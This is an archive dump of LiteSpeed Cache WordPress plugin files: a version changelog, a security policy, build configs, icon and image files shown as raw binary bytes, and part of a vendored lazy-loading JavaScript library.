* [BUGFIX] Fixed subfolder WP installations being unable to Purge By URL using a full URL path. * [REFACTOR] Reorganized existing code for an upcoming ESI release. = 1.1.2.2 - July 13 2017 = * [BUGFIX] Fixed blank page in Hebrew language post editor by removing unused font-awesome and jquery-ui css libraries. = 1.1.2.1 - July 5 2017 = * [UPDATE] Improved compatibility with WooCommerce v3.1.0. = 1.1.2 - June 20 2017 = * [BUGFIX] Fixed missing form close tag. * [UPDATE] Added a wiki link for enabling the crawler. * [UPDATE] Improved Site IP description. * [UPDATE] Added an introduction to the crawler on the Information page. * [REFACTOR] Added more detailed error messages for Site IP and Custom Sitemap settings. = 1.1.1.1 - June 15 2017 = * [BUGFIX] Hotfix for insufficient validation of site IP value in crawler settings. = 1.1.1 - June 15 2017 = * [NEW] As of LiteSpeed Web Server v.5.1.16, the crawler can now be enabled/disabled at the server level. * [NEW] Added the ability to provide a custom sitemap for crawling. * [NEW] Added ability to use site IP address directly in crawler settings. * [NEW] Crawler performance improved with the use of new custom user agent 'lsrunner'. * [NEW] "Purge By URLs" now supports full URL paths. * [NEW] Added thirdparty WP-PostRatings compatibility. * [BUGFIX] Cache is now cleared when changing post status from published to draft. * [BUGFIX] WHM activation message no longer continues to reappear after being dismissed. * [COSMETIC] Display recommended values for settings. = 1.1.0.1 - June 8 2017 = * [UPDATE] Improved default crawler interval setting. * [UPDATE] Tested up to WP 4.8. * [BUGFIX] Fixed compatibility with plugins that output json data. * [BUGFIX] Fixed tab switching bug. * [BUGFIX] Removed occasional duplicated messages on save. * [COSMETIC] Improved crawler tooltips and descriptions. = 1.1.0 - June 6 2017 = * [NEW] Added a crawler - this includes configuration options and a dedicated admin page. Uses wp-cron * [NEW] Added integration for WPLister * [NEW] Added integration for Avada * [UPDATE] General structure of the plugin revamped * [UPDATE] Improved look of admin pages * [BUGFIX] Fix any/all wp-content path retrieval issues * [BUGFIX] Use realpath to clear symbolic link when determining .htaccess paths * [BUGFIX] Fixed a bug where upgrading multiple plugins did not trigger a purge all * [BUGFIX] Fixed a bug where cli import_options did not actually update the options. * [REFACTOR] Most of the files in the code were split into more, smaller files = 1.0.15 - April 20 2017 = * [NEW] Added Purge Pages and Purge Recent Posts Widget pages options. * [NEW] Added wp-cli command for setting and getting options. * [NEW] Added an import/export options cli command. * [NEW] Added wpForo integration. * [NEW] Added Theme My Login integration. * [UPDATE] Purge adjacent posts when publish a new post. * [UPDATE] Change environment report file to .php and increase security. * [UPDATE] Added new purgeby option to wp-cli. * [UPDATE] Remove nag for multiple sites. * [UPDATE] Only inject LiteSpeed javascripts in LiteSpeed pages. * [REFACTOR] Properly check for zero in ttl settings. * [BUGFIX] Fixed the 404 issue that can be caused by some certain plugins when save the settings. * [BUGFIX] Fixed mu-plugin compatibility. * [BUGFIX] Fixed problem with creating zip backup. * [BUGFIX] Fixed conflict with jetpack. = 1.0.14.1 - January 31 2017 = * [UPDATE] Removed Freemius integration due to feedback. = 1.0.14 - January 30 2017 = * [NEW] Added error page caching. Currently supports 403, 404, 500s. * [NEW] Added a purge errors action. * [NEW] Added wp-cli integration. * [UPDATE] Added support for multiple varies. * [UPDATE] Reorganize the admin interface to be less cluttered. * [UPDATE] Add support for LiteSpeed Web ADC. * [UPDATE] Add Freemius integration. * [REFACTOR] Made some changes so that the rewrite rules are a little more consistent. * [BUGFIX] Check member type before adding purge all button. * [BUGFIX] Fixed a bug where activating/deactivating the plugin quickly caused the WP_CACHE error to show up. * [BUGFIX] Handle more characters in the rewrite parser. * [BUGFIX] Correctly purge posts when they are made public/private. = 1.0.13.1 - November 30 2016 = * [BUGFIX] Fixed a bug where a global was being used without checking existence first, causing unnecessary log entries. = 1.0.13 - November 28 2016 = * [NEW] Add an Empty Entire Cache button. * [NEW] Add stale logic to certain purge actions. * [NEW] Add option to use primary site settings for all subsites in a multisite environment. * [NEW] Add support for Aelia CurrencySwitcher * [UPDATE] Add logic to allow third party vary headers * [UPDATE] Handle password protected pages differently. * [BUGFIX] Fixed bug caused by saving settings. * [BUGFIX] FIxed bug when searching for advanced-cache.php = 1.0.12 - November 14 2016 = * [NEW] Added logic to generate environment reports. * [NEW] Created a notice that will be triggered when the WHM Plugin installs this plugin. This will notify users when the plugin is installed by their server admin. * [NEW] Added the option to cache 404 pages via 404 Page TTL setting. * [NEW] Reworked log system to be based on selection of yes or no instead of log level. * [NEW] Added support for Autoptimize. * [NEW] Added Better WP Minify integration. * [UPDATE] On plugin disable, clear .htaccess. * [UPDATE] Introduced URL tag. Changed Purge by URL to use this new tag. * [BUGFIX] Fixed a bug triggered when .htaccess files were empty. * [BUGFIX] Correctly determine when to clear files in multisite environments (wp-config, advanced-cache, etc.). * [BUGFIX] When disabling the cache, settings changed in the same save will now be saved. * [BUGFIX] Various bugs from setting changes and multisite fixed. * [BUGFIX] Fixed two bugs with the .htaccess path search. * [BUGFIX] Do not alter $_GET in add_quick_purge. This may cause issues for functionality occurring later in the same request. * [BUGFIX] Right to left radio settings were incorrectly displayed. The radio buttons themselves were the opposite direction of the associated text. = 1.0.11 - October 11 2016 = * [NEW] The plugin will now set cachelookup public on. * [NEW] New option - check advanced-cache.php. This enables users to have two caching plugins enabled at the same time as long as the other plugin is not used for caching purposes. For example, using another cache plugin for css/js minification. * [UPDATE] Rules added by the plugin will now be inserted into an LSCACHE START/END PLUGIN comment block. * [UPDATE] For woocommerce pages, if a user visits a non-cached page with a non-empty cart, do not cache the page. * [UPDATE] If woocommerce needs to display any notice, do not cache the page. * [UPDATE] Single site settings are now in both the litespeed cache submenu and the settings submenu. * [BUGFIX] Multisite network options were not updated on upgrade. This is now corrected. = 1.0.10 - September 16 2016 = * Added a check for LSCACHE_NO_CACHE definition. * Added a Purge All button to the admin bar. * Added logic to purge the cache when upgrading a plugin or theme. By default this is enabled on single site installations and disabled on multisite installations. * Added support for WooCommerce Versions < 2.5.0. * Added .htaccess backup rotation. Every 10 backups, an .htaccess archive will be created. If one already exists, it will be overwritten. * Moved some settings to the new Specific Pages tab to reduce clutter in the General tab. * The .htaccess editor is now disabled if DISALLOW_FILE_EDIT is set. * After saving the Cache Tag Prefix setting, all cache will be purged. = 1.0.9.1 - August 26 2016 = * Fixed a bug where an error displayed on the configuration screen despite not being an error. * Change logic to check .htaccess file less often. = 1.0.9 - August 25 2016 = * [NEW] Added functionality to cache and purge feeds. * [NEW] Added cache tag prefix setting to avoid conflicts when using LiteSpeed Cache for WordPress with LiteSpeed Cache for XenForo and LiteMage. * [NEW] Added hooks to allow third party plugins to create config options. * [NEW] Added WooCommerce config options. * The plugin now also checks for wp-config in the parent directory. * Improved WooCommerce support. * Changed .htaccess backup process. Will create a .htaccess_lscachebak_orig file if one does not exist. If it does already exist, creates a backup using the date and timestamp. * Fixed a bug where get_home_path() sometimes returned an invalid path. * Fixed a bug where if the .htaccess was removed from a WordPress subdirectory, it was not handled properly. = 1.0.8.1 - July 28 2016 = * Fixed a bug where check cacheable was sometimes not hit. * Fixed a bug where extra slashes in clear rules were stripped. = 1.0.8 - July 25 2016 = * Added purge all on update check to purge by post id logic. * Added uninstall logic. * Added configuration for caching favicons. * Added configuration for caching the login page. * Added configuration for caching php resources (scripts/stylesheets accessed as .php). * Set login cookie if user is logged in and it isn’t set. * Improved NextGenGallery support to include new actions. * Now displays a notice on the network admin if WP_CACHE is not set. * Fixed a few php syntax issues. * Fixed a bug where purge by pid didn’t work. * Fixed a bug where the Network Admin settings were shown when the plugin was active in a subsite, but not network active. * Fixed a bug where the Advanced Cache check would sometimes not work. = 1.0.7.1 - May 26 2016 = * Fixed a bug where enabling purge all in the auto purge on update settings page did not purge the correct blogs. * Fixed a bug reported by user wpc on our forums where enabling purge all in the auto purge on update settings page caused nothing to be cached. = 1.0.7 - May 24 2016 = * Added login cookie configuration to the Advanced Settings page. * Added support for WPTouch plugin. * Added support for WP-Polls plugin. * Added Like Dislike Counter third party integration. * Added support for Admin IP Query String Actions. * Added confirmation pop up for purge all. * Refactor: LiteSpeed_Cache_Admin is now split into LiteSpeed_Cache_Admin, LiteSpeed_Cache_Admin_Display, and LiteSpeed_Cache_Admin_Rules * Refactor: Rename functions to accurately represent their functionality * Fixed a bug that sometimes caused a “no valid header” error message. = 1.0.6 - May 5 2016 = * Fixed a bug reported by Knut Sparhell that prevented dashboard widgets from being opened or closed. * Fixed a bug reported by Knut Sparhell that caused problems with https support for admin pages. = 1.0.5 - April 26 2016 = * [BETA] Added NextGen Gallery plugin support. * Added third party plugin integration. * Improved cache tag system. * Improved formatting for admin settings pages. * Converted bbPress to use the new third party integration system. * Converted WooCommerce to use the new third party integration system. * If .htaccess is not writable, disable separate mobile view and do not cache cookies/user agents. * Cache is now automatically purged when disabled. * Fixed a bug where .htaccess was not checked properly when adding common rules. * Fixed a bug where multisite setups would be completely purged when one site requested a purge all. = 1.0.4 - April 7 2016 = * Added logic to cache commenters. * Added htaccess backup to the install script. * Added an htaccess editor in the wp-admin dashboard. * Added do not cache user agents. * Added do not cache cookies. * Created new LiteSpeed Cache Settings submenu entries. * Implemented Separate Mobile View. * Modified WP_CACHE not defined message to only show up for users who can manage options. * Moved enabled all/disable all from network management to network settings. * Fixed a bug where WP_CACHE was not defined on activation if it was commented out. = 1.0.3 - March 23 2016 = * Added a Purge Front Page button to the LiteSpeed Cache Management page. * Added a Default Front Page TTL option to the general settings. * Added ability to define web application specific cookie names through rewrite rules to handle logged-in cookie conflicts when using multiple web applications. [Requires LSWS 5.0.15+] * Improved WooCommerce handling. * Fixed a bug where activating lscwp sets the “enable cache” radio button to enabled, but the cache was not enabled by default. * Refactored code to make it cleaner. * Updated readme.txt. = 1.0.2 - March 11 2016 = * Added a "Use Network Admin Setting" option for "Enable LiteSpeed Cache". For single sites, this choice will default to enabled. * Added enable/disable all buttons for network admin. This controls the setting of all managed sites with "Use Network Admin Setting" selected for "Enable LiteSpeed Cache". * Exclude by Category/Tag are now text areas to avoid slow load times on the LiteSpeed Cache Settings page for sites with a large number of categories/tags. * Added a new line to advanced-cache.php to allow identification as a LiteSpeed Cache file. * Activation/Deactivation are now better handled in multi-site environments. * Enable LiteSpeed Cache setting is now a radio button selection instead of a single checkbox. * Can now add '$' to the end of a URL in Exclude URI to perform an exact match. * The _lscache_vary cookie will now be deleted upon logout. * Fixed a bug in multi-site setups that would cause a "function already defined" error. = 1.0.1 - March 8 2016 = * Added Do Not Cache by URI, by Category, and by Tag. URI is a prefix/string equals match. * Added a help tab for plugin compatibilities. * Created logic for other plugins to purge a single post if updated. * Fixed a bug where woocommerce pages that display the cart were cached. * Fixed a bug where admin menus in multi-site setups were not correctly displayed. * Fixed a bug where logged in users were served public cached pages. * Fixed a compatibility bug with bbPress. If there is a new forum/topic/reply, the parent pages will now be purged as well. * Fixed a bug that didn't allow cron job to update scheduled posts. = 1.0.0 - January 20 2016 = * Initial Release. plugins/litespeed-cache/security.md000064400000000562152335264760013455 0ustar00# Security Policy ## Reporting Security Bugs We take security seriously. Please report potential vulnerabilities found in the LiteSpeed Cache plugin's source code via email to `support@litespeedtech.com` or open a ticket from your LiteSpeed Client Area. Please see [Reporting Vulnerabilities](https://www.litespeedtech.com/report-security-bugs) for more information. plugins/litespeed-cache/phpcs.xml.dist000064400000004074152335264760014067 0ustar00 Apply LiteSpeed Cache Coding Standards to all plugin files . ^wordpress/* /node_modules/* /vendor/* plugins/litespeed-cache/composer.json000064400000001201152335264760013775 0ustar00{ "name": "litespeedtech/lscache_wp", "require-dev": { "squizlabs/php_codesniffer": "^3.12", "phpcompatibility/php-compatibility": "*", "wp-coding-standards/wpcs": "^3.1", "phpcsstandards/phpcsutils": "^1.0", "phpcsstandards/phpcsextra": "^1.2", "dealerdirect/phpcodesniffer-composer-installer": "^1.0", "php-stubs/wp-cli-stubs": "^2.12" }, "prefer-stable": true, "scripts": { "sniff-check": "vendor/bin/phpcs --standard=phpcs.ruleset.xml --no-cache cli/ lib/ src/ tpl/ thirdparty autoload.php litespeed-cache.php" }, "config": { "allow-plugins": { "dealerdirect/phpcodesniffer-composer-installer": true } } } plugins/litespeed-cache/assets/img/lscwp_font-icon_32px.svg000064400000004632152335264760020045 0ustar00 plugins/litespeed-cache/assets/img/lscwp_gray-yellow_font-icon_22px.svg000064400000003170152335264760022373 0ustar00 plugins/litespeed-cache/assets/img/slack-logo.png000064400000002271152335264760016102 0ustar00PNG  IHDRKKPLTEGpL8;9::9:;OOOOPOO詟8OԪ8v6ftM ],kzOU{29:VTTTTRU/4e)9GU.E-P{TSGsw]=U,UYgJpu@\NypEhmGDeHtRNS'@[a8P[ 9'Gap "HIDATx՗8EVAa~4ʶǾՕ^eYxp n_R$~LtƐNC HV%3!F\\WP{tJӯTX,imE\P-~ݕGWNjO__W+@Ñh\m7EqP?<<-aḂHĩݥ<7'ѵ++H?R,#<'S<.a$)V8WؾtFŎ#BWDBxeP4?8ځiaZAA&hR$b"h!d?d?T<XBn}Z.1i/T`Hhs *!cdDb["%ۧH*%k"EH B_nbC܉_ZkE"?u9랂Q$<ݤM YT #yu}5_2ۻkFkmDbB&hHG}DY]'@B5rgt7s6`ۧHk>E"`HhߧG>\9o?x_On~R?lrGg>$E2&ܦZ|^5DxoS(H~Oq"4 *hqdS}_?oBS:'o".x[X&ϨWP=ȧnZY\x`F%95si̗M+^)H؃= `;z ^kΨLmx|ѥbhc2.M** {-IENDB`plugins/litespeed-cache/assets/img/Litespeed.icon.svg000064400000005167152335264760016736 0ustar00 plugins/litespeed-cache/assets/img/quic-cloud-logo.svg000064400000027160152335264760017071 0ustar00 ]> plugins/litespeed-cache/assets/img/lscwp_grayscale_font-icon_22px.svg000064400000003357152335264760022101 0ustar00 plugins/litespeed-cache/assets/img/icons/purge-403.svg000064400000011104152335264760016616 0ustar00 plugins/litespeed-cache/assets/img/icons/purge-cssjs.svg000064400000011654152335264760017447 0ustar00 plugins/litespeed-cache/assets/img/icons/trash_post.svg000064400000011716152335264760017367 0ustar00 plugins/litespeed-cache/assets/img/icons/purge-500.svg000064400000010630152335264760016617 0ustar00 plugins/litespeed-cache/assets/img/icons/img_webp_disabled.svg000064400000007011152335264760020612 0ustar00 plugins/litespeed-cache/assets/img/icons/purge-opcache.svg000064400000010564152335264760017723 0ustar00 plugins/litespeed-cache/assets/img/icons/img_optm_disabled.svg000064400000013002152335264760020631 0ustar00 plugins/litespeed-cache/assets/img/icons/success_icon.svg000064400000007225152335264760017661 0ustar00 plugins/litespeed-cache/assets/img/icons/empty-cache.svg000064400000014224152335264760017375 0ustar00 plugins/litespeed-cache/assets/img/icons/trackback-pingback.svg000064400000005032152335264760020674 0ustar00 plugins/litespeed-cache/assets/img/icons/all_transients.svg000064400000006441152335264760020222 0ustar00 plugins/litespeed-cache/assets/img/icons/purge-all.svg000064400000011415152335264760017065 0ustar00 plugins/litespeed-cache/assets/img/icons/img_optm.svg000064400000013002152335264760017002 0ustar00 plugins/litespeed-cache/assets/img/icons/img_webp.svg000064400000007011152335264760016763 0ustar00 plugins/litespeed-cache/assets/img/icons/db.svg000064400000004146152335264760015565 0ustar00 plugins/litespeed-cache/assets/img/icons/purge-object.svg000064400000014213152335264760017562 0ustar00 plugins/litespeed-cache/assets/img/icons/trash_comment.svg000064400000014532152335264760020043 0ustar00 plugins/litespeed-cache/assets/img/icons/revision.svg000064400000005522152335264760017035 0ustar00 plugins/litespeed-cache/assets/img/icons/cross_icon.svg000064400000006650152335264760017343 0ustar00 plugins/litespeed-cache/assets/img/icons/spam_comment.svg000064400000006656152335264760017672 0ustar00 plugins/litespeed-cache/assets/img/icons/purge-front.svg000064400000005562152335264760017453 0ustar00 plugins/litespeed-cache/assets/img/icons/expired_transient.svg000064400000007250152335264760020726 0ustar00 plugins/litespeed-cache/assets/img/icons/purge-pages.svg000064400000007664152335264760017427 0ustar00 plugins/litespeed-cache/assets/img/icons/all.svg000064400000015710152335264760015747 0ustar00 plugins/litespeed-cache/assets/img/icons/optimize_tables.svg000064400000005505152335264760020372 0ustar00 plugins/litespeed-cache/assets/img/icons/purge-404.svg000064400000007735152335264760016636 0ustar00 plugins/litespeed-cache/assets/img/icons/auto_draft.svg000064400000013031152335264760017321 0ustar00 plugins/litespeed-cache/assets/img/lscwp-logo_90x90.png000064400000003224152335264760017005 0ustar00PNG  IHDRZZv0PLTEGpLuռа˝z}jknsvyKdrs3hikc5MefiSy_J1DsAԤ_adج;r{ss/:GQ7im,X'\]_bJ#Do[]`uItRNS`(MlIDATx! EQ,_wryjmEFf@1"!2I[defӁCL)I>anwg/ipI)E d ٛח 2YIi=ˆ8Nm-dDʉ,F;PfRtN!8Qk6mbDL|<9{;8@>bBHʒi (2"m GȘ]=mloK[6:벌T+eەbJrLr\Ƞ\%XbI E&!(-?w {Tor>.O'Op!5EElG/#m<:]L!B6AW6`s\|͠wEvN 9ʷifT 2D;Jڦe;3^AֶCtUYv7hӁֿ>Co$Վ^@t4pHӬ-useY܋"|?Xtf2lt{FB>@%,tx9C+YWufŏn[2ֻH>'ՄO:jky^; 9.Q, wRLSNvu4drK##ahk:kS' ɚX8?}ymYOr܎yrO?:EVIENDB`plugins/litespeed-cache/assets/img/lscwp_blue_font-icon_22px.svg000064400000003166152335264760021054 0ustar00 plugins/litespeed-cache/assets/img/lscwp_gray_font-icon_22px.svg000064400000003166152335264760021067 0ustar00 plugins/litespeed-cache/assets/img/quic-cloud-icon-16x16.svg000064400000003764152335264760017650 0ustar00 plugins/litespeed-cache/assets/img/iconlscwp.svg000064400000002065152335264760016064 0ustar00 LiteSpeed Technologies plugins/litespeed-cache/assets/img/quic-cloud-logo-light_stack_300px.png000064400000007133152335264760022300 0ustar00PNG  IHDR,,N~GPLTE>PY>PY>PY>PY>PY>PY>PY>PY>PY>PY>PY>PY>PY>PY>PY\ks\ks\ks\ks\ks\ks\ks\ks\ks\ks\ks\ks\ks\ks\kspppppppppppppppfffffffffffffff>PY\kspf^ۧ_=tRNS 0@P`pp`P@0  0@P`pp`P@0 , IDATxk[8(2"P@xU mmK$4I0{eҡ7o`0!>6-Y 'Ge1Ft=&`y scj ёaSp2 ך qUq8#9 ={z\6\,r,49N73AGn{сLAMIXO&/6ra"wuan\\" U7\1l=.Tmtٽ쮟U~0]U;T,Z03j{"2slM)u-tQ̎ǖX8tImǖxT*3EmYA^u z揭Yj!jDG m"| yP%.3V9Ѱq>D sE X[6 GÄɖI-Fg^&,;Ĕf۹c"%0z !S9lYvHjj5C"XUh*2ٱ%V Aߎ#bKw4+`9UpA~,"l  G;)%G.sLDKB+blSKlHS6V S~l͕ -AV%=ޛ,}zRm2=W f}+^>y"uJ7SK#we=ov<>.Y2~?Xʍ>6OV7W,FuM^S%+ig=o< n`bi)Af"ñm mdųIw%PMz֟M60\V&|OqlIim,mJiRqV>(fR]MY.sǦD[2b|cE2] ~m-eZ є:1- C7j6BsgMyp_o<>l`ʲ8L͌ؒ;o`t>i5-ݖ5 k<㴥BqW,˿-26m_n^WMɈ-ԳSG 濇gⰄ}^}[=,#mNf|ؚyXaOg xwJU嫒bQ,GƙGQ Nnz&xl45w=~̟֖5bl#/-=#p?.A_eeo`|$Ԃ(1)Bb1[:9Vmوb- vakN"Ŗ ֻ[wwD٦~Xƶ8 5lJ-x#$#SzJ-U]4_q][^w/Ʀ/6a[F}>M-}> ]*ϗ7+67y47#clʭߞ)uȘ1̏"ҌKLuEa04)eOZQMv=ɁyZ+9_d{N;o-Pw GпzC3\ [ L?JrDZçV-4(R=*gS=A(#tsVN Y@OGzss^-!NU5Wie).5d6W4eUg>E<(!NJ@$($8PAV}/gIHV5qFh9"Wi9~\ĶdE_D_V53vO /䫈Xdٲޖ[qdCdfQ[*gnVQ]VZѹ\_CZ1Gj(]g)A ܓbK+,kpޣ'Һؑ1u f].s=WU^Tuu5u!0; Q&gAmɪ T-tWZ^XN푽N_v|o>Yez|GVX 7ZLV誋1e%]n#YYQ3=M˺/wdǿe]k{~>-ɓ w8d9 ^mAt Yu6UVJPCVcRsZJUt$f58@ h- ƍ!3H|\gWdu >EIH9++ߔ6"t_o  ɲ,YWVx8B/!] j)6,@,0FزGOuQ+,me]K+ bpMtҞJ=b (gˢw#Q$d!er*fq;=TFqYTYmqYd*#?eEQ#,tm.Rj%GVG4Z 6YЛٷF{CB㦈dV/RYfYiQ&w+Nk 4S^)o~ſԣ,42&3SV2lw6;xBf#Zuծ!B$sQqWfe˝(L[& ISY-a$ BX.pw㙣~z[@Xb椇gMPzs㠧^5ndSRHu8"YRfWLqb?SdnTA-ÂC<~Q94'̝腸7,{VhrXԈed}X>i?Э7\ύ|F M$Ykԃ9ކvd15]VKVbSn-F+KoEofO\ԏrw|ЏwꁎF"""""""""""""""""""""""""""""""""""""zΘcIENDB`plugins/litespeed-cache/assets/js/lazyload.lib.js000064400000061624152335264760016132 0ustar00(function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? (module.exports = factory()) : typeof define === 'function' && define.amd ? define(factory) : ((global = typeof globalThis !== 'undefined' ? globalThis : global || self), (global.LazyLoad = factory())); })(this, function () { 'use strict'; function _extends() { _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; }; return _extends.apply(this, arguments); } var runningOnBrowser = typeof window !== 'undefined'; var isBot = (runningOnBrowser && !('onscroll' in window)) || (typeof navigator !== 'undefined' && /(gle|ing|ro)bot|crawl|spider/i.test(navigator.userAgent)); var supportsIntersectionObserver = runningOnBrowser && 'IntersectionObserver' in window; var supportsClassList = runningOnBrowser && 'classList' in document.createElement('p'); var isHiDpi = runningOnBrowser && window.devicePixelRatio > 1; var defaultSettings = { elements_selector: '.lazy', container: isBot || runningOnBrowser ? document : null, threshold: 300, thresholds: null, data_src: 'src', data_srcset: 'srcset', data_sizes: 'sizes', data_bg: 'bg', data_bg_hidpi: 'bg-hidpi', data_bg_multi: 'bg-multi', data_bg_multi_hidpi: 'bg-multi-hidpi', data_poster: 'poster', class_applied: 'applied', class_loading: 'litespeed-loading', class_loaded: 'litespeed-loaded', // https://docs.litespeedtech.com/lscache/lscwp/pageopt/#lazy-load-images class_error: 'error', class_entered: 'entered', class_exited: 'exited', unobserve_completed: true, unobserve_entered: false, cancel_on_exit: true, callback_enter: null, callback_exit: null, callback_applied: null, callback_loading: null, callback_loaded: null, callback_error: null, callback_finish: null, callback_cancel: null, use_native: false, }; var getExtendedSettings = function getExtendedSettings(customSettings) { return _extends({}, defaultSettings, customSettings); }; /* Creates instance and notifies it through the window element */ var createInstance = function createInstance(classObj, options) { var event; var eventString = 'LazyLoad::Initialized'; var instance = new classObj(options); try { // Works in modern browsers event = new CustomEvent(eventString, { detail: { instance: instance, }, }); } catch (err) { // Works in Internet Explorer (all versions) event = document.createEvent('CustomEvent'); event.initCustomEvent(eventString, false, false, { instance: instance, }); } window.dispatchEvent(event); }; /* Auto initialization of one or more instances of lazyload, depending on the options passed in (plain object or an array) */ var autoInitialize = function autoInitialize(classObj, options) { if (!options) { return; } if (!options.length) { // Plain object createInstance(classObj, options); } else { // Array of objects for (var i = 0, optionsItem; (optionsItem = options[i]); i += 1) { createInstance(classObj, optionsItem); } } }; var SRC = 'src'; var SRCSET = 'srcset'; var SIZES = 'sizes'; var POSTER = 'poster'; var ORIGINALS = 'llOriginalAttrs'; var statusLoading = 'loading'; var statusLoaded = 'loaded'; var statusApplied = 'applied'; var statusEntered = 'entered'; var statusError = 'error'; var statusNative = 'native'; var dataPrefix = 'data-'; var statusDataName = 'll-status'; var getData = function getData(element, attribute) { return element.getAttribute(dataPrefix + attribute); }; var setData = function setData(element, attribute, value) { var attrName = dataPrefix + attribute; if (value === null) { element.removeAttribute(attrName); return; } element.setAttribute(attrName, value); }; var getStatus = function getStatus(element) { return getData(element, statusDataName); }; var setStatus = function setStatus(element, status) { return setData(element, statusDataName, status); }; var resetStatus = function resetStatus(element) { return setStatus(element, null); }; var hasEmptyStatus = function hasEmptyStatus(element) { return getStatus(element) === null; }; var hasStatusLoading = function hasStatusLoading(element) { return getStatus(element) === statusLoading; }; var hasStatusError = function hasStatusError(element) { return getStatus(element) === statusError; }; var hasStatusNative = function hasStatusNative(element) { return getStatus(element) === statusNative; }; var statusesAfterLoading = [statusLoading, statusLoaded, statusApplied, statusError]; var hadStartedLoading = function hadStartedLoading(element) { return statusesAfterLoading.indexOf(getStatus(element)) >= 0; }; var safeCallback = function safeCallback(callback, arg1, arg2, arg3) { if (!callback) { return; } if (arg3 !== undefined) { callback(arg1, arg2, arg3); return; } if (arg2 !== undefined) { callback(arg1, arg2); return; } callback(arg1); }; var addClass = function addClass(element, className) { if (supportsClassList) { element.classList.add(className); return; } element.className += (element.className ? ' ' : '') + className; }; var removeClass = function removeClass(element, className) { if (supportsClassList) { element.classList.remove(className); return; } element.className = element.className .replace(new RegExp('(^|\\s+)' + className + '(\\s+|$)'), ' ') .replace(/^\s+/, '') .replace(/\s+$/, ''); }; var addTempImage = function addTempImage(element) { element.llTempImage = document.createElement('IMG'); }; var deleteTempImage = function deleteTempImage(element) { delete element.llTempImage; }; var getTempImage = function getTempImage(element) { return element.llTempImage; }; var unobserve = function unobserve(element, instance) { if (!instance) return; var observer = instance._observer; if (!observer) return; observer.unobserve(element); }; var resetObserver = function resetObserver(observer) { observer.disconnect(); }; var unobserveEntered = function unobserveEntered(element, settings, instance) { if (settings.unobserve_entered) unobserve(element, instance); }; var updateLoadingCount = function updateLoadingCount(instance, delta) { if (!instance) return; instance.loadingCount += delta; }; var decreaseToLoadCount = function decreaseToLoadCount(instance) { if (!instance) return; instance.toLoadCount -= 1; }; var setToLoadCount = function setToLoadCount(instance, value) { if (!instance) return; instance.toLoadCount = value; }; var isSomethingLoading = function isSomethingLoading(instance) { return instance.loadingCount > 0; }; var haveElementsToLoad = function haveElementsToLoad(instance) { return instance.toLoadCount > 0; }; var getSourceTags = function getSourceTags(parentTag) { var sourceTags = []; for (var i = 0, childTag; (childTag = parentTag.children[i]); i += 1) { if (childTag.tagName === 'SOURCE') { sourceTags.push(childTag); } } return sourceTags; }; var forEachPictureSource = function forEachPictureSource(element, fn) { var parent = element.parentNode; if (!parent || parent.tagName !== 'PICTURE') { return; } var sourceTags = getSourceTags(parent); sourceTags.forEach(fn); }; var forEachVideoSource = function forEachVideoSource(element, fn) { var sourceTags = getSourceTags(element); sourceTags.forEach(fn); }; var attrsSrc = [SRC]; var attrsSrcPoster = [SRC, POSTER]; var attrsSrcSrcsetSizes = [SRC, SRCSET, SIZES]; var hasOriginalAttrs = function hasOriginalAttrs(element) { return !!element[ORIGINALS]; }; var getOriginalAttrs = function getOriginalAttrs(element) { return element[ORIGINALS]; }; var deleteOriginalAttrs = function deleteOriginalAttrs(element) { return delete element[ORIGINALS]; }; // ## SAVE ## var setOriginalsObject = function setOriginalsObject(element, attributes) { if (hasOriginalAttrs(element)) { return; } var originals = {}; attributes.forEach(function (attribute) { originals[attribute] = element.getAttribute(attribute); }); element[ORIGINALS] = originals; }; var saveOriginalBackgroundStyle = function saveOriginalBackgroundStyle(element) { if (hasOriginalAttrs(element)) { return; } element[ORIGINALS] = { backgroundImage: element.style.backgroundImage, }; }; // ## RESTORE ## var setOrResetAttribute = function setOrResetAttribute(element, attrName, value) { if (!value) { element.removeAttribute(attrName); return; } element.setAttribute(attrName, value); }; var restoreOriginalAttrs = function restoreOriginalAttrs(element, attributes) { if (!hasOriginalAttrs(element)) { return; } var originals = getOriginalAttrs(element); attributes.forEach(function (attribute) { setOrResetAttribute(element, attribute, originals[attribute]); }); }; var restoreOriginalBgImage = function restoreOriginalBgImage(element) { if (!hasOriginalAttrs(element)) { return; } var originals = getOriginalAttrs(element); element.style.backgroundImage = originals.backgroundImage; }; var manageApplied = function manageApplied(element, settings, instance) { addClass(element, settings.class_applied); setStatus(element, statusApplied); // Instance is not provided when loading is called from static class if (!instance) return; if (settings.unobserve_completed) { // Unobserve now because we can't do it on load unobserve(element, settings); } safeCallback(settings.callback_applied, element, instance); }; var manageLoading = function manageLoading(element, settings, instance) { addClass(element, settings.class_loading); setStatus(element, statusLoading); // Instance is not provided when loading is called from static class if (!instance) return; updateLoadingCount(instance, +1); safeCallback(settings.callback_loading, element, instance); }; var setAttributeIfValue = function setAttributeIfValue(element, attrName, value) { if (!value) { return; } element.setAttribute(attrName, value); }; var setImageAttributes = function setImageAttributes(element, settings) { setAttributeIfValue(element, SIZES, getData(element, settings.data_sizes)); setAttributeIfValue(element, SRCSET, getData(element, settings.data_srcset)); setAttributeIfValue(element, SRC, getData(element, settings.data_src)); }; var setSourcesImg = function setSourcesImg(imgEl, settings) { forEachPictureSource(imgEl, function (sourceTag) { setOriginalsObject(sourceTag, attrsSrcSrcsetSizes); setImageAttributes(sourceTag, settings); }); setOriginalsObject(imgEl, attrsSrcSrcsetSizes); setImageAttributes(imgEl, settings); }; var setSourcesIframe = function setSourcesIframe(iframe, settings) { setOriginalsObject(iframe, attrsSrc); setAttributeIfValue(iframe, SRC, getData(iframe, settings.data_src)); }; var setSourcesVideo = function setSourcesVideo(videoEl, settings) { forEachVideoSource(videoEl, function (sourceEl) { setOriginalsObject(sourceEl, attrsSrc); setAttributeIfValue(sourceEl, SRC, getData(sourceEl, settings.data_src)); }); setOriginalsObject(videoEl, attrsSrcPoster); setAttributeIfValue(videoEl, POSTER, getData(videoEl, settings.data_poster)); setAttributeIfValue(videoEl, SRC, getData(videoEl, settings.data_src)); videoEl.load(); }; var setBackground = function setBackground(element, settings, instance) { var bg1xValue = getData(element, settings.data_bg); var bgHiDpiValue = getData(element, settings.data_bg_hidpi); var bgDataValue = isHiDpi && bgHiDpiValue ? bgHiDpiValue : bg1xValue; if (!bgDataValue) return; element.style.backgroundImage 